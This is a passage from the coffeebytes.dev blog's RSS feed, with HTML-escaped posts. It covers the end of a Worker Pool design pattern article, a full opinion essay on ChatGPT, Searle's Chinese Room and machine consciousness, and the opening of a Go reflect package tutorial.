worker]&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;The fixed number of workers will ensure that, during the entire program execution, there will be a maximum number of tasks running, which will limit the memory impact of our concurrent tasks.&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-worker-pools-results-queue-optional&#34;&gt;The worker pool&amp;rsquo;s results queue (optional)&lt;/h3&gt;&#xA;&lt;p&gt;Optionally, we can send the result of each task executed by a worker to a second queue; the result queue, which we can process later.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;classDiagram&#xA;class ResultsQueue{&#xA;    result 1&#xA;    result 2&#xA;    result 3&#xA;    ...&#xA;    result n&#xA;}&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;This design pattern is very useful when huge amounts of tasks have to be processed and when we do not want to overload the system. And, as you can guess it is quite popular and useful in programming languages that heavily use concurrency, such as &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/&#34;&gt;the Go programming language&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;This entry is about a the Worker Pool design pattern. Imagine that you have a number of concurrent tasks that you want to perform, either crawling many websites, or perhaps processing information from each of the pixels of an image or anything else you can think of.&lt;/p&gt;&#xA;&lt;p&gt;The simplistic option is to create a series of workers and use them concurrently, something like this pseudocode:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; job &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; jobs:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; process_concurrent_job()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;This may look pretty good so far, at first, but it has multiple disadvantages; first, you will be creating workers without control, which can increase your program&amp;rsquo;s memory usage incredibly fast; second, you are constantly creating and destroying workers, which can be costly for your program.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Chat Gpt, Searle&#39;s Chinese Room and consciousness</title>
      <link>https://coffeebytes.dev/en/artificial-intelligence/chat-gpt-searles-chinese-room-and-consciousness/</link>
      <pubDate>Wed, 19 Apr 2023 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/artificial-intelligence/chat-gpt-searles-chinese-room-and-consciousness/</guid>
      
      <category>artificial intelligence</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Chat GPT is on everyone&amp;rsquo;s lips, some are afraid of it, because of its &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/&#34;&gt;ability to solve code problems&lt;/a&gt;&#xA; others are excited about its potential to change the world of work. Today I leave aside the economic consequences of AI and the question about whether &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/&#34;&gt;we&amp;rsquo;re in an overhyped AI bubble or not&lt;/a&gt;&#xA;, to focus on the philosophical aspect of Chat GPT and reflect a bit on the question: does Chat GPT really understand language, is Chat GPT conscious?&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;What a typical “learning machine” does, is finding a mathematical formula, which, when applied to a collection of inputs (called “training data”), produces the desired outputs. Adriy Burkov&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;h2 id=&#34;john-searles-the-chinese-room&#34;&gt;John Searle&amp;rsquo;s The Chinese Room&lt;/h2&gt;&#xA;&lt;p&gt;John Searle, was a scientist who wondered whether a computer can really understand language. And for this he designed a riveting thought experiment:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/chat-gpt-searles-chinese-room-and-consciousness/images/la-habitacion-china-de-searle.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/chat-gpt-searles-chinese-room-and-consciousness/images/la-habitacion-china-de-searle.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Image of Searle&amp;#39;s Chinese Room generated with Dall-E&#34; width=&#34;1024&#34; height=&#34;1024&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Image of Searle&amp;rsquo;s Chinese Room generated with Dall-E&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;A human, inside a room completely isolated from the outside world, with a set of instructions to process Chinese kanjis and return a response.&lt;/p&gt;&#xA;&lt;p&gt;It should be noted that the person inside the room does not know the Chinese and simply follows the set of instructions given to him, i.e., he &lt;strong&gt;does not understand the text coming in, nor the text going out&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    沙悟淨--&gt;Room;&#xA;    Room--&gt;西遊記;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Can you notice the similarities with a computer? They are quite obvious; there is an input, an output and a black box or computer program, the details of which would escape those outside this simplified little system.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Input--&gt;Program;&#xA;    Program--&gt;output;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;According to Searle, to the people outside the room, whatever is inside the room seems to understand Chinese perfectly. However, we know that the person inside is just following a set of instructions, as complex as we like, but which &lt;strong&gt;does not involve an understanding of language&lt;/strong&gt;, but a mechanical process. According to Searle, this situation is analogous to the operation of a computer.&lt;/p&gt;&#xA;&lt;h3 id=&#34;is-chatgpt-conscious&#34;&gt;Is ChatGPT conscious?&lt;/h3&gt;&#xA;&lt;p&gt;Extrapolating the above to ChatGPT; although a language model may produce responses that appear coherent and relevant, there is no evidence that it actually understands the language or is aware of its meaning.&lt;/p&gt;&#xA;&lt;p&gt;To Searle, ChatGPT (or any other Large Language Model LLM, Like Mistral, DeepSeek, etc.) may be following the most complex algorithm in existence but, according to Searle, &lt;strong&gt;there is no more awareness of the process there than we would find in the most sophisticated mechanical clock.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;But then what makes the difference between a real intelligence and a mechanical process? is there such a difference?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;are-consciousness-and-artificial-intelligence-related&#34;&gt;Are consciousness and artificial intelligence related?&lt;/h2&gt;&#xA;&lt;p&gt;The highest representative of intelligence on earth is the human being (or at least our inflated ego tells us that), and it also happens that the human being is a living entity with consciousness. This leads us to the inevitable question: is a living being with consciousness necessary to have intelligence, or perhaps it is the other way around?&lt;/p&gt;&#xA;&lt;h3 id=&#34;signs-of-intelligence-with-consciousness&#34;&gt;Signs of Intelligence with consciousness&lt;/h3&gt;&#xA;&lt;p&gt;Some argue that consciousness and intelligence are related and that we would even have &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://writing.rochester.edu/celebrating/2017/NAShonorable.pdf&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;a gradient of consciousness as we advance in the complexity and intelligence of organisms&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Penrose states that not only consciousness and intelligence are related but that &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.youtube.com/watch?v=e9484gNpFF8&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;intelligence is an exclusive trait of conscious beings.&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;They give the label &amp;ldquo;conscious&amp;rdquo; to higher animals such as dolphins, orangutans, crows and other organisms that show traits of intelligence.&lt;/p&gt;&#xA;&lt;p&gt;While others go further by saying that a system becomes more conscious the more intelligent it becomes, perhaps we could consider the example of &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.bbc.com/mundo/noticias-61787944&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Blake Lemoine, who claimed that Google&amp;rsquo;s artificial intelligence model had become conscious&lt;/a&gt;&#xA;, or Giulio Tononi&amp;rsquo;s integrated information theory, which proposes that consciousness is generated when a system is able to incorporate information and unify it, and that this level of consciousness (called Φ) can be calculated for any system.&lt;/p&gt;&#xA;&lt;h4 id=&#34;the-problem-of-determining-whether-something-is-conscious-or-not&#34;&gt;The problem of determining whether something is conscious or not&lt;/h4&gt;&#xA;&lt;p&gt;We also face the problem that consciousness can only be experienced by the conscious entity, there is no experiment that allows us to say for certain whether an entity is conscious or not. Without falling into an absolutist solipsism, &lt;strong&gt;we consider that the rest of human beings are conscious only because we know that we are conscious&lt;/strong&gt;, not because we have irrefutable proof of it.&lt;/p&gt;&#xA;&lt;p&gt;As Ludwig Wittgenstein stated in his book Philosophical Investigations:&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Imagine that at birth you are given a box with a beetle in it. It is a very valuable and extremely personal object, so much so that no one can see inside the box except oneself. Thus, there is no objective way to confirm that all boxes contain the same thing. In the best of cases they could contain a real beetle, but nothing guarantees one hundred percent that instead of the beetle there are not other insects, such as an ant or a spider, or that there is nothing at all, but whatever it is, it will always be considered under the term “beetle”.&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;As long as we do not understand what consciousness is exactly, we cannot know that we have to “measure” to know if another entity is conscious, as long as it makes sense to talk about “measuring” when we talk about consciousness.&lt;/p&gt;&#xA;&lt;h3 id=&#34;signs-of-intelligence-without-consciousness&#34;&gt;Signs of Intelligence without consciousness&lt;/h3&gt;&#xA;&lt;p&gt;Likewise, there are positions that defend that intelligence does not necessarily depend on consciousness, but that it can exist in systems that do not have subjective experience. For example, it is sufficient to cite Alpha Go and other computer programs that are capable of responding to complex stimuli, without existing beyond the game for which they were programmed, or &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://publications.aap.org/pediatrics/article-abstract/111/1/e17/28494/Sleepwalking-and-Sleep-Terrors-in-Prepubertal?redirectedFrom=fulltext&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;sleepwalkers, who can show signs of intelligence even when they are not conscious&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Reinforcing the latter argument, Sir Roger Penrose claim in his book, &amp;ldquo;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/3XmesG6&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Emperor&amp;rsquo;s new mind&lt;/a&gt;&#xA;&amp;rdquo;, that consciousness is not computable, and therefore we will never get to the point of creating an Artificial Consciousness nor AGI using algorithms, nor it will emerge naturally from computational complexity, regardless of the complexity of our &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/fine-tuning-a-llm-small-practical-guide-with-resources/&#34;&gt;LLM(Large Language Models) fine-tuning methods.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;But even if human beings have unconscious processes capable of existing without the manifestation of consciousness&amp;hellip; there must be something more than simple mechanical action, after all animals are much more complex than machines aren&amp;rsquo;t they?&lt;/p&gt;&#xA;&lt;h2 id=&#34;biological-automatons&#34;&gt;Biological automatons&lt;/h2&gt;&#xA;&lt;p&gt;Sometimes we believe that only machines have a mechanical behavior and that any living being would be able to respond in a very different way than a machine would, with more versatility and adapting to changes, but is this always the case?&lt;/p&gt;&#xA;&lt;p&gt;In the book &amp;ldquo;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/4boOnfd&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Godel, Escher, Bach: An Eternal Golden Braid&lt;/a&gt;&#xA;&amp;rdquo; by Douglas R. Hofstader. The author cites an &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://jhjeong.mindconnect.cc/Texts/sphex.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;experiment in which a sphex wasp is tricked into bringing a cricket within the confines of a burrow up to 40 times&lt;/a&gt;&#xA;. Just as if it were a computer program, this wasp gets stuck in an infinite loop from which it cannot escape, how different is this from a computer program that, after the same input, generates the same output?&lt;/p&gt;&#xA;&lt;p&gt;As Hofstader rightly speculates, a human would have “stepped out” of the loop to stop for a few moments and investigate what was happening.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/chat-gpt-searles-chinese-room-and-consciousness/images/avisa-sphex.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/chat-gpt-searles-chinese-room-and-consciousness/images/avisa-sphex.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Sphex wasp from the experiment mentioned in the book Godel, Escher, Bach: An Eternal Golden Braid&#34; width=&#34;640&#34; height=&#34;480&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Sphex wasp from the experiment mentioned in the book Godel, Escher, Bach: An Eternal Golden Braid&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;This experiment made me question whether some living beings are nothing more than biological automatons and also where is the turning point at which a living being ceases to be an automaton and becomes conscious, are there gradients of consciousness? And, if so, what does consciousness look like beyond what we humans experience? If consciousness exists as a macroscopic manifestation, is it deterministic, or does it belong to the quantum world of indeterminacy? I don&amp;rsquo;t know and I don&amp;rsquo;t think the truth has yet to pick a winner.&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-to-read-or-watch-to-learn-more-about-artificial-intelligence-and-consciousness&#34;&gt;What to read or watch to learn more about artificial intelligence and consciousness?&lt;/h2&gt;&#xA;&lt;p&gt;Consciousness is a complex subject that cannot be addressed in a few lines, not for nothing is it known as the &amp;ldquo;hard problem&amp;rdquo;, but if these brushstrokes left you wanting more, I leave you with my list of favorite resources to delve into this complex subject.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/4boOnfd&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Godel, Escher, Bach: An Eternal Golden Braid by Douglas R. Hofstader&lt;/a&gt;&#xA;: the author delves into the subject of self-reference and develops the question: can a system understand itself?&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/3XmesG6&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;The Emperor&amp;rsquo;s New Mind by Sir Roger Penrose&lt;/a&gt;&#xA;: the author sets the context of the laws of the universe and analyzes whether consciousness and intelligence are related and whether they have a deterministic or non-deterministic character.&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://infinite.mit.edu/video/brains-minds-and-machines-consciousness-and-intelligence&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Brains, Minds, and Machines: Consciousness and Intelligence&lt;/a&gt;&#xA;: MIT talk, where the topics of brains, consciousness, intelligence and machines are developed. Radically underrated; 7000 views on youtube alone? really?&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.youtube.com/watch?v=mC_KQC1gtWQ&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Can a program be alive?&lt;/a&gt;&#xA; small video essay where one of my favorite youtubers develops the issue of whether a computer program can be alive.&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://writing.rochester.edu/celebrating/2017/NAShonorable.pdf&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;The connection between intelligence and conciousness&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Chat GPT is on everyone&amp;rsquo;s lips, some are afraid of it, because of its &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/&#34;&gt;ability to solve code problems&lt;/a&gt;&#xA; others are excited about its potential to change the world of work. Today I leave aside the economic consequences of AI and the question about whether &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/&#34;&gt;we&amp;rsquo;re in an overhyped AI bubble or not&lt;/a&gt;&#xA;, to focus on the philosophical aspect of Chat GPT and reflect a bit on the question: does Chat GPT really understand language, is Chat GPT conscious?&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go with Reflect: Boost Your Code&#39;s Flexibility</title>
      <link>https://coffeebytes.dev/en/go/go-with-reflect-discover-how-reflect-can-boost-your-programs-flexibility/</link>
      <pubDate>Mon, 13 Mar 2023 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/go/go-with-reflect-discover-how-reflect-can-boost-your-programs-flexibility/</guid>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;The &amp;ldquo;reflect&amp;rdquo; package is a useful library in the Go programming language that provides functions for working with reflection.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/en/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;what-is-reflection-in-programming&#34;&gt;What is reflection in programming?&lt;/h2&gt;&#xA;&lt;p&gt;Reflection is the ability of a program to inspect its own structure at runtime. This includes the ability to examine: types, values and metadata of objects in memory. Reflection allows us to have more flexible and generic code and allows us to create functions and data structures that can work with any type of object, regardless of its type. It is also the basis for metaprogramming.&lt;/p&gt;&#xA;&lt;p&gt;We can divide Go&amp;rsquo;s reflection into two important types of data:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Type&lt;/strong&gt;: The Go data type, from which all the information of the data type, its class, name, size, etc. is broken down.&#xA;&lt;strong&gt;Value&lt;/strong&gt;: The Go data value, with methods to modify the data of an object.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) 